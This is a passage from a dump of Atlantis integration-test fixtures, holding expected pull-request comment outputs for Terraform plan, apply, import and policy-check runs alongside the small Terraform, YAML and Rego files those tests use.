``` --- ### 2. dir: `dir2` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # random_id.dummy2 will be created + resource "random_id" "dummy2" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir2 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir2 ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### Plan Summary 2 projects, 1 with changes, 1 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project/exp-output-apply-no-projects.txt ================================================ Ran Apply for 0 projects: ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # random_id.dummy1 will be created + resource "random_id" "dummy1" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } # random_id.dummy2 will be created + resource "random_id" "dummy2" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } Plan: 2 to add, 0 to change, 0 to destroy. ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 2 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project/exp-output-import-dummy1.txt ================================================ Ran Import for dir: `.` workspace: `default` ```diff random_id.dummy1: Importing from ID "AA"... random_id.dummy1: Import prepared! Prepared random_id for import random_id.dummy1: Refreshing state... [id=AA] Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project/exp-output-import-dummy2.txt ================================================ Ran Import for dir: `.` workspace: `default` ```diff random_id.dummy2: Importing from ID "BB"... random_id.dummy2: Import prepared! Prepared random_id for import random_id.dummy2: Refreshing state... [id=BB] Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project/exp-output-plan-again.txt ================================================ Ran Plan for dir: `.` workspace: `default` ```diff No changes. Your infrastructure matches the configuration. Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project/main.tf ================================================ resource "random_id" "dummy1" { byte_length = 1 } resource "random_id" "dummy2" { byte_length = 1 } ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project/versions.tf ================================================ provider "random" {} terraform { required_providers { random = { source = "hashicorp/random" version = "3.8.1" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # random_id.count[0] will be created + resource "random_id" "count" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } # random_id.for_each["default"] will be created + resource "random_id" "for_each" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } Plan: 2 to add, 0 to change, 0 to destroy. ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 2 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-import-count.txt ================================================ Ran Import for dir: `.` workspace: `default` ```diff random_id.count[0]: Importing from ID "BB"... random_id.count[0]: Import prepared! Prepared random_id for import random_id.count[0]: Refreshing state... [id=BB] Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-import-foreach.txt ================================================ Ran Import for dir: `.` workspace: `default` ```diff random_id.for_each["overridden"]: Importing from ID "AA"... random_id.for_each["overridden"]: Import prepared! Prepared random_id for import random_id.for_each["overridden"]: Refreshing state... [id=AA] Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-plan-again.txt ================================================ Ran Plan for dir: `.` workspace: `default` ```diff No changes. Your infrastructure matches the configuration. Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . -- -var var=overridden ``` --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project-var/main.tf ================================================ resource "random_id" "for_each" { for_each = toset([var.var]) byte_length = 1 } resource "random_id" "count" { count = 1 byte_length = 1 } variable "var" { default = "default" } ================================================ FILE: server/controllers/events/testdata/test-repos/import-single-project-var/versions.tf ================================================ provider "random" {} terraform { required_providers { random = { source = "hashicorp/random" version = "3.8.1" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/import-workspace/atlantis.yaml ================================================ version: 3 projects: - name: dir1-ops dir: dir1 workspace: ops ================================================ FILE: server/controllers/events/testdata/test-repos/import-workspace/dir1/main.tf ================================================ resource "random_id" "dummy1" { count = terraform.workspace == "ops" ? 1 : 0 byte_length = 1 } resource "random_id" "dummy2" { count = terraform.workspace == "ops" ? 1 : 0 byte_length = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/import-workspace/dir1/versions.tf ================================================ provider "random" {} terraform { required_providers { random = { source = "hashicorp/random" version = "3.8.1" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/import-workspace/exp-output-import-dir1-ops-dummy1.txt ================================================ Ran Import for project: `dir1-ops` dir: `dir1` workspace: `ops` ```diff random_id.dummy1[0]: Importing from ID "AA"... random_id.dummy1[0]: Import prepared! Prepared random_id for import random_id.dummy1[0]: Refreshing state... [id=AA] Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -p dir1-ops ``` ================================================ FILE: server/controllers/events/testdata/test-repos/import-workspace/exp-output-import-dir1-ops-dummy2.txt ================================================ Ran Import for project: `dir1-ops` dir: `dir1` workspace: `ops` ```diff random_id.dummy2[0]: Importing from ID "BB"... random_id.dummy2[0]: Import prepared! Prepared random_id for import random_id.dummy2[0]: Refreshing state... [id=BB] Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -p dir1-ops ``` ================================================ FILE: server/controllers/events/testdata/test-repos/import-workspace/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `dir1` workspace: `ops` ================================================ FILE: server/controllers/events/testdata/test-repos/import-workspace/exp-output-plan.txt ================================================ Ran Plan for project: `dir1-ops` dir: `dir1` workspace: `ops` ```diff No changes. Your infrastructure matches the configuration. Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -p dir1-ops ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -p dir1-ops ``` --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/modules/exp-output-apply-production.txt ================================================ Ran Apply for dir: `production` workspace: `default` ```diff module.null.null_resource.this: Creating... module.null.null_resource.this: Creation complete after *s [id=*******************] Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: var = "production" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/modules/exp-output-apply-staging.txt ================================================ Ran Apply for dir: `staging` workspace: `default` ```diff module.null.null_resource.this: Creating... module.null.null_resource.this: Creation complete after *s [id=*******************] Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: var = "staging" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/modules/exp-output-autoplan-only-staging.txt ================================================ Ran Plan for dir: `staging` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # module.null.null_resource.this will be created + resource "null_resource" "this" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "staging" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d staging ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d staging ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/modules/exp-output-merge-all-dirs.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `production` workspace: `default` - dir: `staging` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/modules/exp-output-merge-only-staging.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `staging` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/modules/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `staging` workspace: `default` - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/modules/exp-output-plan-production.txt ================================================ Ran Plan for dir: `production` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # module.null.null_resource.this will be created + resource "null_resource" "this" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "production" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d production ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d production ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/modules/exp-output-plan-staging.txt ================================================ Ran Plan for dir: `staging` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # module.null.null_resource.this will be created + resource "null_resource" "this" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "staging" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d staging ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d staging ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/modules/modules/null/main.tf ================================================ variable "var" {} resource "null_resource" "this" { } output "var" { value = var.var } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/modules/modules/null/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/modules/production/main.tf ================================================ module "null" { source = "../modules/null" var = "production" } output "var" { value = module.null.var } ================================================ FILE: server/controllers/events/testdata/test-repos/modules/staging/main.tf ================================================ module "null" { source = "../modules/null" var = "staging" } output "var" { value = module.null.var } ================================================ FILE: server/controllers/events/testdata/test-repos/modules-yaml/atlantis.yaml ================================================ version: 3 projects: - dir: staging autoplan: when_modified: ["**/*.tf*", "../modules/null/*"] - dir: production autoplan: when_modified: ["**/*.tf*", "../modules/null/*"] ================================================ FILE: server/controllers/events/testdata/test-repos/modules-yaml/exp-output-apply-production.txt ================================================ Ran Apply for dir: `production` workspace: `default` ```diff module.null.null_resource.this: Creating... module.null.null_resource.this: Creation complete after *s [id=*******************] Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: var = "production" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/modules-yaml/exp-output-apply-staging.txt ================================================ Ran Apply for dir: `staging` workspace: `default` ```diff module.null.null_resource.this: Creating... module.null.null_resource.this: Creation complete after *s [id=*******************] Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: var = "staging" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/modules-yaml/exp-output-autoplan.txt ================================================ Ran Plan for 2 projects: 1. dir: `staging` workspace: `default` 1. dir: `production` workspace: `default` --- ### 1. dir: `staging` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # module.null.null_resource.this will be created + resource "null_resource" "this" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "staging" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d staging ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d staging ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### 2. dir: `production` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # module.null.null_resource.this will be created + resource "null_resource" "this" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "production" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d production ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d production ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/modules-yaml/exp-output-merge-all-dirs.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - path: `runatlantis/atlantis-tests/production` workspace: `default` - path: `runatlantis/atlantis-tests/staging` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/modules-yaml/exp-output-merge-only-staging.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - path: `runatlantis/atlantis-tests/staging` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/modules-yaml/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `production` workspace: `default` - dir: `staging` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/modules-yaml/exp-output-plan-production.txt ================================================ Ran Plan for dir: `production` workspace: `default` ```diff Refreshing Terraform state in-memory prior to plan... The refreshed state will be used to calculate this plan, but will not be persisted to local or remote state storage. ------------------------------------------------------------------------ An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: + module.null.null_resource.this id: Plan: 1 to add, 0 to change, 0 to destroy. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d production ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d production ``` ================================================ FILE: server/controllers/events/testdata/test-repos/modules-yaml/exp-output-plan-staging.txt ================================================ Ran Plan for dir: `staging` workspace: `default` ```diff Refreshing Terraform state in-memory prior to plan... The refreshed state will be used to calculate this plan, but will not be persisted to local or remote state storage. ------------------------------------------------------------------------ An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: + module.null.null_resource.this id: Plan: 1 to add, 0 to change, 0 to destroy. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d staging ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d staging ``` ================================================ FILE: server/controllers/events/testdata/test-repos/modules-yaml/modules/null/main.tf ================================================ variable "var" {} resource "null_resource" "this" { } output "var" { value = var.var } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/modules-yaml/modules/null/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/modules-yaml/production/main.tf ================================================ module "null" { source = "../modules/null" var = "production" } output "var" { value = module.null.var } ================================================ FILE: server/controllers/events/testdata/test-repos/modules-yaml/staging/main.tf ================================================ module "null" { source = "../modules/null" var = "staging" } output "var" { value = module.null.var } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks/exp-output-apply-failed.txt ================================================ Ran Apply for dir: `.` workspace: `default` **Apply Failed**: All policies must pass for project before running apply. ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks/exp-output-apply.txt ================================================ Ran Apply for dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks/exp-output-approve-policies.txt ================================================ Approved Policies for 1 projects: 1. dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks/exp-output-auto-policy-check.txt ================================================ Ran Policy Check for dir: `.` workspace: `default` **Policy Check Failed**: Some policy sets did not pass. #### Policy Set: `test_policy` ```diff FAIL - - main - WARNING: Null Resource creation is prohibited. 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks/main.tf ================================================ resource "null_resource" "simple" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks/policies/policy.rego ================================================ package main import input as tfplan deny contains reason if { num_deletes.null_resource > 0 reason := "WARNING: Null Resource creation is prohibited." } resource_types = {"null_resource"} resources[resource_type] = all if { some resource_type resource_types[resource_type] all := [name | name := tfplan.resource_changes[_] name.type == resource_type ] } # number of deletions of resources of a given type num_deletes[resource_type] = num if { some resource_type resource_types[resource_type] all := resources[resource_type] deletions := [res | res := all[_]; res.change.actions[_] == "create"] num := count(deletions) } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks/repos.yaml ================================================ policies: owners: users: - runatlantis policy_sets: - name: test_policy path: policies/policy.rego source: local ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-apply-failed.txt ================================================ Ran Apply for dir: `.` workspace: `default` **Apply Failed**: All policies must pass for project before running apply. ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-apply.txt ================================================ Ran Apply for dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-approve-policies.txt ================================================ Approved Policies for 1 projects: 1. dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-auto-policy-check.txt ================================================ Ran Policy Check for dir: `.` workspace: `default` **Policy Check Failed**: Some policy sets did not pass. #### Policy Set: `test_policy` ```diff FAIL - - main - WARNING: Null Resource creation is prohibited. 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/main.tf ================================================ resource "null_resource" "simple" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/policies/policy.rego ================================================ package main import input as tfplan deny contains reason if { num_deletes.null_resource > 0 reason := "WARNING: Null Resource creation is prohibited." } resource_types = {"null_resource"} resources[resource_type] = all if { some resource_type resource_types[resource_type] all := [name | name := tfplan.resource_changes[_] name.type == resource_type ] } # number of deletions of resources of a given type num_deletes[resource_type] = num if { some resource_type resource_types[resource_type] all := resources[resource_type] deletions := [res | res := all[_]; res.change.actions[_] == "create"] num := count(deletions) } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/repos.yaml ================================================ repos: - id: /.*/ apply_requirements: [approved] policies: owners: users: - runatlantis policy_sets: - name: test_policy path: policies/policy.rego source: local ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-clear-approval/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-apply-failed.txt ================================================ Ran Apply for dir: `.` workspace: `default` **Apply Failed**: All policies must pass for project before running apply. ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-apply.txt ================================================ Ran Apply for dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies-clear.txt ================================================ Ran Approve Policies for 1 projects: 1. dir: `.` workspace: `default` --- ### 1. dir: `.` workspace: `default` **Approve Policies Failed**: One or more policy sets require additional approval. #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies-success.txt ================================================ Approved Policies for 1 projects: 1. dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies.txt ================================================ Approved Policies for 1 projects: 1. dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-auto-policy-check.txt ================================================ Ran Policy Check for dir: `.` workspace: `default` **Policy Check Failed**: Some policy sets did not pass. #### Policy Set: `test_policy` ```diff FAIL - - main - WARNING: Null Resource creation is prohibited. 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis 